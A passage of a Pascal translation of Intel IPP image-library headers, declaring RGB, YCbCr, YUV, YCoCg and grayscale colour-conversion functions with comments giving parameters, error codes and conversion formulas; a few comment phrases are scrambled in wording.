pSrc Pointer to the source image (for pixel-order data).An array of pointers
to separate source color planes (in case of plane-order data)
pDst Pointer to the resultant image (for pixel-order data).An array of pointers
to separate source color planes (in case of plane-order data)
roiSize Size of the ROI in pixels.
srcStep Step in bytes through the source image to jump on the next line
dstStep Step in bytes through the destination image to jump on the next line
Returns:
ippStsNullPtrErr src == NULL or dst == NULL
ippStsStepErr, srcStep or dstStep is less than or equal to zero
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr No errors
Reference:
Jack Keith
Video Demystified: A Handbook for the Engineer : Digital ; 2nd ed.
1996.pp.(42-43)
The YCbCr color space was developed as part of Recommendation ITU-R BT.601
(formerly CCI 601). Y is defined to have a nominal range of 16 to 235;
Cb and Cr are defined to have a range of 16 to 240, with 128 equal to zero.
If the gamma-corrected RGB(R'G'B') image has a range 0 .. 255, as is commonly
found in computer system (and in our library), the following equations may be
used:
Y = 0.257*R' + 0.504*G' + 0.098*B' + 16
Cb = -0.148*R' - 0.291*G' + 0.439*B' + 128
Cr = 0.439*R' - 0.368*G' - 0.071*B' + 128
R' = 1.164*(Y - 16) + 1.596*(Cr - 128 )
G' = 1.164*(Y - 16) - 0.813*(Cr - 128 )- 0.392*( Cb - 128 )
B' = 1.164*(Y - 16) + 2.017*(Cb - 128 )
Note that for the YCbCr-to-equations : RGB ; the RGB values must be saturated
at the 0 and 255 levels due to occasional excursions outside the nominal
YCbCr ranges.
}
function ippiRGBToYCbCr_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCbCr_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCbCr_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCrToRGB_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCrToRGB_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCrToRGB_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCrToRGB_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToYUV_8u_C3R, ippiYUVToRGB_8u_C3R.
ippiRGBToYUV_8u_AC4R, ippiYUVToRGB_8u_AC4R.
ippiRGBToYUV_8u_P3R, ippiYUVToRGB_8u_P3R.
ippiRGBToYUV_8u_C3P3R,ippiYUVToRGB_8u_P3C3R.
Purpose: Converts an RGB image to the YUV color model and vice versa.
Parameters:
pSrc Pointer to the source image (for pixel-order data).An array of pointers
to separate source color planes (for plane-order data)
pDst Pointer to the destination image (for pixel-order data).An array of
pointers to separate destination color planes (for of plane-order data)
roiSize Size of ROI in pixels.
srcStep Step in bytes through the source image to jump on the next line
dstStep Step in bytes through the destination image to jump on the next line
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsStepErr, srcStep or dstStep is less than or equal to zero
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr No errors
Reference:
Jack Keith
Video Demystified: A Handbook for the Engineer : Digital ; 2nd ed.
1996.pp.(40-41)
The YUV color space is the basic color space used by PAL : the ; NTSC, and
SECAM composite color video standards.
These functions operate with gamma-corrected images.
The basic equations for conversion between gamma-corrected RGB(R'G'B')and YUV are:
Y' = 0.299*R' + 0.587*G' + 0.114*B'
U = -0.147*R' - 0.289*G' + 0.436*B' = 0.492*(B' - Y' )
V = 0.615*R' - 0.515*G' - 0.100*B' = 0.877*(R' - Y' )
R' = Y' + 1.140 * V
G' = Y' - 0.394 * U - 0.581 * V
B' = Y' + 2.032 * U
For digital RGB values in the range [0 .. 255], Y has a range [0..255],
U a range [-112 .. +112], and V a range [-157..+157].
These equations are usually scaled to simplify the implementation in an actual
NTSC or PAL digital encoder or decoder.
}
function ippiRGBToYUV_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYUVToRGB_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYUV_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYUVToRGB_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYUVToRGB_8u_C3C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiRGBToYUV_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYUVToRGB_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYUV_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYUVToRGB_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiBGRToYUV420_8u_AC4P3R
PVCS ID 7635
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
ippStsDoubleSize Indicates a warning if roiSize is not a multiple of 2.
Arguments:
pSrc Pointer to the source image ROI.
srcStep Distance in bytes between starts of consecutive lines in the source image.
pDst An array of pointers to ROI in the separate planes of the destination image.
dstStep Distance in bytes between starts of consecutive lines in the destination image.
roiSize Size of the source and destination ROI in pixels.
}
function ippiBGRToYUV420_8u_AC4P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToYUV_8u_AC4P4R
PVCS ID 8868
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
Arguments:
pSrc Pointer to the source image ROI for pixel-order image.
srcStep Distance in bytes between starts of consecutive lines in the source image.
pDst Pointer to the destination image ROI. An array of pointers to ROI in the separate destination color and alpha planes for planar images.
dstStep Distance in bytes between starts of consecutive lines in the destination image.
roiSize Size of the source and destination ROI in pixels.
}
function ippiRGBToYUV_8u_AC4P4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToYUV422_8u_C3P3R, ippiYUV422ToRGB_8u_P3C3R.
ippiRGBToYUV422_8u_P3R, ippiYUV422ToRGB_8u_P3R.
ippiRGBToYUV420_8u_C3P3R, ippiYUV420ToRGB_8u_P3C3R.
ippiRGBToYUV422_8u_C3C2R, ippiYUV422ToRGB_8u_C2C3R.
ippiYUV420ToBGR565_8u16u_P3C3R,
ippiYUV420ToBGR555_8u16u_P3C3R,
ippiYUV420ToBGR444_8u16u_P3C3R,
ippiYUV420ToRGB565_8u16u_P3C3R,
ippiYUV420ToRGB555_8u16u_P3C3R,
ippiYUV420ToRGB444_8u16u_P3C3R.
Purpose: Converts an RGB (BGR) image to the YUV color model with 4:2:2 or
4:2:0 sampling and vice versa.
Parameters:
pSrc Pointer to the source image (for pixel-order data).An array of pointers
to separate source color planes (for plane-order data)
pDst Pointer to the destination image (for pixel-order data).An array of pointers
to separate destination color planes (for plane-order data)
roiSize Size of the ROI in pixels.
srcStep Step in bytes through the source image to jump on the next line(for pixel-order data).
An array of step values for the separate source color planes (for plane-order data).
dstStep Step in bytes through destination image to jump on the next line(for pixel-order data).
An array of step values for the separate destination color planes (for plane-order data).
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsStepErr srcStep or dstStep is less than or equal to zero
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr No errors
Reference:
Jack Keith
Video Demystified: A Handbook for the Engineer : Digital ; 2nd ed.
1996.pp.(40-41)
The YUV color space is the basic color space used by the PAL , NTSC , and
SECAM composite color video standards.
The functions operate with 4:2:2 and 4:2:0 sampling formats.
4:2:2 uses the horizontal-only 2:1 reduction of U V : and ;
4:2:0 uses 2:1 reduction of U and V in both the vertical and
horizontal directions.
These functions operate with gamma-corrected images.
The basic equations for conversion between gamma-corrected RGB(R'G'B')and YUV are:
Y' = 0.299*R' + 0.587*G' + 0.114*B'
U = -0.147*R' - 0.289*G' + 0.436*B' = 0.492*(B' - Y' )
V = 0.615*R' - 0.515*G' - 0.100*B' = 0.877*(R' - Y' )
R' = Y' + 1.140 * V
G' = Y' - 0.394 * U - 0.581 * V
B' = Y' + 2.032 * U
For digital RGB values with the range [0 .. 255], Y has a range [0..255],
U a range [-112 .. +112], and V a range [-157..+157].
These equations are usually scaled to simplify the implementation in an actual
NTSC or PAL digital encoder or decoder.
}
function ippiYUV420ToRGB_8u_P3AC4R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYUV422ToRGB_8u_P3AC4R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYUV422_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYUV422ToRGB_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYUV422_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYUV422ToRGB_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYUV420_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYUV420ToRGB_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYUV420ToBGR_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYUV420_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYUV420ToRGB_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYUV422_8u_C3C2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYUV422ToRGB_8u_C2C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToYUV422_8u_P3, ippiYUV422ToRGB_8u_P3.
ippiRGBToYUV422_8u_C3P3, ippiYUV422ToRGB_8u_P3C3.
ippiRGBToYUV420_8u_C3P3, ippiYUV420ToRGB_8u_P3C3.
ippiRGBToYUV420_8u_P3, ippiYUV420ToRGB_8u_P3.
Purpose: Converts an RGB image to YUV color model with 4:2:2 and
4:2:0 sampling and vice versa.
Parameters:
pSrc Pointer to the source image (for pixel-order data).An array of pointers
to the separate source color planes (for plane-order data)
pDst Pointer to the destination image (for pixel-order data).An array of pointers
to the separate destination color planes (for plane-order data)
imgSize Size of the source and destination images in pixels
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsStepErr, srcStep or dstStep is less than or equal to zero
ippStsSizeErr imgSize has a field with zero or negative value
ippStsNoErr No errors
Reference:
Jack Keith
Video Demystified: A Handbook for the Engineer : Digital ; 2nd ed.
1996.pp.(40-41)
The YUV color space is the basic color space used by the PAL , NTSC , and
SECAM composite color video standards.
The functions operate with 4:2:2 and 4:2:0 sampling formats.
4:2:2 uses the horizontal-only 2:1 reduction of U V : and ;
4:2:0 uses 2:1 reduction of U and V in both the vertical and
horizontal directions.
These functions operate with gamma-corrected images.
The basic equations to convert between gamma-corrected RGB(R'G'B')and YUV are:
Y' = 0.299*R' + 0.587*G' + 0.114*B'
U = -0.147*R' - 0.289*G' + 0.436*B' = 0.492*(B' - Y' )
V = 0.615*R' - 0.515*G' - 0.100*B' = 0.877*(R' - Y' )
R' = Y' + 1.140 * V
G' = Y' - 0.394 * U - 0.581 * V
B' = Y' + 2.032 * U
For digital RGB values with the range [0 .. 255], Y has the range [0..255],
U the range [-112 .. +112],V the range [-157..+157].
These equations are usually scaled to simplify the implementation in an actual
NTSC or PAL digital encoder or decoder.
}
function ippiRGBToYUV422_8u_P3( pSrc : Ipp8u_3Ptr ; pDst : Ipp8u_3Ptr ; imgSize : IppiSize ): IppStatus; _ippapi
function ippiYUV422ToRGB_8u_P3( pSrc : Ipp8u_3Ptr ; pDst : Ipp8u_3Ptr ; imgSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYUV422_8u_C3P3( pSrc : Ipp8uPtr ; pDst : Ipp8u_3Ptr ; imgSize : IppiSize ): IppStatus; _ippapi
function ippiYUV422ToRGB_8u_P3C3( pSrc : Ipp8u_3Ptr ; pDst : Ipp8uPtr ; imgSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYUV420_8u_C3P3( pSrc : Ipp8uPtr ; pDst : Ipp8u_3Ptr ; imgSize : IppiSize ): IppStatus; _ippapi
function ippiYUV420ToRGB_8u_P3C3( pSrc : Ipp8u_3Ptr ; pDst : Ipp8uPtr ; imgSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYUV420_8u_P3( pSrc : Ipp8u_3Ptr ; pDst : Ipp8u_3Ptr ; imgSize : IppiSize ): IppStatus; _ippapi
function ippiYUV420ToRGB_8u_P3( pSrc : Ipp8u_3Ptr ; pDst : Ipp8u_3Ptr ; imgSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCoCgToBGR_16s8u_P3C3R ippiYCoCgToBGR_16s8u_P3C4R
Purpose: Converts a YCoCg image to the RGB24/RGB32 image.
Name: ippiYCoCgToBGR_16s8u_P3C3R ippiBGRToYCoCg_8u16s_C4P3R
Purpose: Converts a RGB24/RGB32 image to the YCoCg image.
Name: ippiYCoCgToSBGR_16s_P3C3R ippiSBGRToYCoCg_16s_C3P3R
Purpose: Converts a YCoCg image to the scRGB48/scRGB64 image.
Name: ippi_SC_BGRToYCoCg_16s_C3P3R ippi_SC_BGRToYCoCg_16s_C4P3R
Purpose: Converts a scRGB48/scRGB64 image to the YCoCg image.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
Arguments:
pYCC array of pointers to the components of the YCoCg image
yccStep step for Y : every ; Co,Cg component
pBGR Pointer to the BGR image (for pixel-order data).
bgrStep step for the BGR image.
roiSize region of interest to be processed, in pixels
Notes:
Y = (( R + G*2 + B) + 2 ) / 4
Co = (( R - B) + 1 ) / 2
Cg = ((-R + G*2 - B) + 2 ) / 4
R = Y + Co - Cg
G = Y + Cg
B = Y - Co - Cg
scRGB allows negative values and values above 1.0
}
function ippiYCoCgToBGR_16s8u_P3C3R( pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; pBGR : Ipp8uPtr ; bgrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCoCg_8u16s_C3P3R( pBGR : Ipp8uPtr ; bgrStep : Int32 ; pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCoCgToBGR_16s8u_P3C4R( pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; pBGR : Ipp8uPtr ; bgrStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiBGRToYCoCg_8u16s_C4P3R( pBGR : Ipp8uPtr ; bgrStep : Int32 ; pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCoCgToSBGR_16s_P3C3R( pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; pBGR : Ipp16sPtr ; bgrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSBGRToYCoCg_16s_C3P3R( pBGR : Ipp16sPtr ; bgrStep : Int32 ; pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCoCgToSBGR_16s_P3C4R( pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; pBGR : Ipp16sPtr ; bgrStep : Int32 ; roiSize : IppiSize ; aval : Ipp16s ): IppStatus; _ippapi
function ippiSBGRToYCoCg_16s_C4P3R( pBGR : Ipp16sPtr ; bgrStep : Int32 ; pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCoCgToSBGR_32s16s_P3C3R( pYCC : Ipp32s_3Ptr ; yccStep : Int32 ; pBGR : Ipp16sPtr ; bgrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSBGRToYCoCg_16s32s_C3P3R( pBGR : Ipp16sPtr ; bgrStep : Int32 ; pYCC : Ipp32s_3Ptr ; yccStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCoCgToSBGR_32s16s_P3C4R( pYCC : Ipp32s_3Ptr ; yccStep : Int32 ; pBGR : Ipp16sPtr ; bgrStep : Int32 ; roiSize : IppiSize ; aval : Ipp16s ): IppStatus; _ippapi
function ippiSBGRToYCoCg_16s32s_C4P3R( pBGR : Ipp16sPtr ; bgrStep : Int32 ; pYCC : Ipp32s_3Ptr ; yccStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCoCgToBGR_Rev_16s8u_P3C3R ippiYCoCgToBGR_Rev_16s8u_P3C4R
Purpose: Converts a YCoCg-R image to the scRGB48/scRGB64 image.
Name: ippiBGRToYCoCg_Rev_8u16s_C3P3R ippiBGRToYCoCg_Rev_8u16s_C4P3R
Purpose: Converts a scRGB48/scRGB64 image to the YCoCg-R image.
Name: ippiYCoCgToSBGR_Rev_16s_P3C3R ippiYCoCgToSBGR_Rev_16s_P3C4R
Purpose: Converts a YCoCg-R image to the scRGB48/scRGB64 image.
Name: ippiSBGRToYCoCg_Rev_16s_C3P3R ippiSBGRToYCoCg_Rev_16s_C4P3R
Purpose: Converts a scRGB48/scRGB64 image to the YCoCg-R image.
Where: YCoCg-R - Reversible transform.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
Arguments:
pYCC array of pointers to the components of the YCoCg image
yccStep step for Y : every ; Co,Cg component
pBGR Pointer to the BGR image (for pixel-order data).
bgrStep step for the BGR image.
roiSize region of interest to be processed, in pixels
Notes:
Co = R - B
t = B + (Co >> 1)
Cg = G - t
Y = t + (Cg >> 1)
t = Y - (Cg >> 1)
G = Cg + t
B = t - (Co >> 1)
R = B + Co
If each of the RGB channels are integer values with
an N-range : bit ; then the luma channel Y requires bits : N ;
and the chroma channels require N+1 bits.
}
function ippiYCoCgToBGR_Rev_16s8u_P3C3R( pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; pBGR : Ipp8uPtr ; bgrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCoCg_Rev_8u16s_C3P3R( pBGR : Ipp8uPtr ; bgrStep : Int32 ; pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCoCgToBGR_Rev_16s8u_P3C4R( pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; pBGR : Ipp8uPtr ; bgrStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiBGRToYCoCg_Rev_8u16s_C4P3R( pBGR : Ipp8uPtr ; bgrStep : Int32 ; pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCoCgToSBGR_Rev_16s_P3C3R ( pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; pBGR : Ipp16sPtr ; bgrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSBGRToYCoCg_Rev_16s_C3P3R ( pBGR : Ipp16sPtr ; bgrStep : Int32 ; pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCoCgToSBGR_Rev_16s_P3C4R ( pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; pBGR : Ipp16sPtr ; bgrStep : Int32 ; roiSize : IppiSize ; aval : Ipp16s ): IppStatus; _ippapi
function ippiSBGRToYCoCg_Rev_16s_C4P3R ( pBGR : Ipp16sPtr ; bgrStep : Int32 ; pYCC : Ipp16s_3Ptr ; yccStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSBGRToYCoCg_Rev_16s32s_C3P3R( pBGR : Ipp16sPtr ; bgrStep : Int32 ; pYCC : Ipp32s_3Ptr ; yccStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCoCgToSBGR_Rev_32s16s_P3C4R( pYCC : Ipp32s_3Ptr ; yccStep : Int32 ; pBGR : Ipp16sPtr ; bgrStep : Int32 ; roiSize : IppiSize ; aval : Ipp16s ): IppStatus; _ippapi
function ippiYCoCgToSBGR_Rev_32s16s_P3C3R( pYCC : Ipp32s_3Ptr ; yccStep : Int32 ; pBGR : Ipp16sPtr ; bgrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSBGRToYCoCg_Rev_16s32s_C4P3R( pBGR : Ipp16sPtr ; bgrStep : Int32 ; pYCC : Ipp32s_3Ptr ; yccStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToGray
Purpose: Converts an RGB image to gray scale (fixed coefficients)
Parameters:
pSrc Pointer to the source image , points to point(0,0)
pDst Pointer to the destination image , points to point(0,0)
roiSize Size of the ROI in pixels. Since the function performs point
operations (without a border), the ROI may be the whole image.
srcStep Step in bytes through the source image to jump on the next line
dstStep Step in bytes through the destination image to jump on the next line
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr No errors
Reference:
Jack Keith
Video Demystified: A Handbook for the Engineer : Digital ; 2nd ed.
1996.p.(82)
The transform coefficients of equation below correspond to the standard for
red : NTSC ; green and blue CRT phosphors (1953) that are standardized in the
ITU-R Recommendation BT. 601-2 (formerly CCIR Rec. 601-2).
The basic equation to compute non-linear video luma (monochrome) from non-linear
(gamma-corrected) RGB(R'G'B') is:
Y' = 0.299 * R' + 0.587 * G' + 0.114 * B';
}
function ippiRGBToGray_8u_C3C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToGray_16u_C3C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToGray_16s_C3C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToGray_32f_C3C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToGray_8u_AC4C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToGray_16u_AC4C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToGray_16s_AC4C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToGray_32f_AC4C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGrayToRGB
Purpose: Converts gray scale image to RGB/BGR image by copiing luminance component to color components
Parameters:
pSrc Pointer to the source image
pDst Pointer to the destination image
roiSize Size of source and destination ROI in pixels
srcStep Step in bytes through the source image to jump on the next line
dstStep Step in bytes through the destination image to jump on the next line
aval Constant value to create the fourth channel
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr No errors
}
function ippiGrayToRGB_8u_C1C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGrayToRGB_16u_C1C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGrayToRGB_32f_C1C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGrayToRGB_8u_C1C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiGrayToRGB_16u_C1C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp16u ): IppStatus; _ippapi
function ippiGrayToRGB_32f_C1C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp32f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiColorToGray
Purpose: Converts an RGB image to gray scale (custom coefficients)
Parameters:
pSrc Pointer to the source image , points to point(0,0)
pDst Pointer to the destination image , points to point(0,0)
roiSize Size of the ROI in pixels. Since the function performs point
operations (without a border), the ROI may be the whole image.
srcStep Step in bytes through the source image to jump on the next line
dstStep Step in bytes through the destination image to jump on the next line
coeffs[3] User-defined vector of coefficients.
The sum of the coefficients should be less than or equal to 1
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr No errors
The following equation is used to convert an RGB image to gray scale:
Y = coeffs[0] * R + coeffs[1] * G + coeffs[2] * B;
}
function ippiColorToGray_8u_C3C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const coeffs : Ipp32f_3): IppStatus; _ippapi
function ippiColorToGray_16u_C3C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const coeffs : Ipp32f_3): IppStatus; _ippapi
function ippiColorToGray_16s_C3C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const coeffs : Ipp32f_3): IppStatus; _ippapi
function ippiColorToGray_32f_C3C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const coeffs : Ipp32f_3): IppStatus; _ippapi
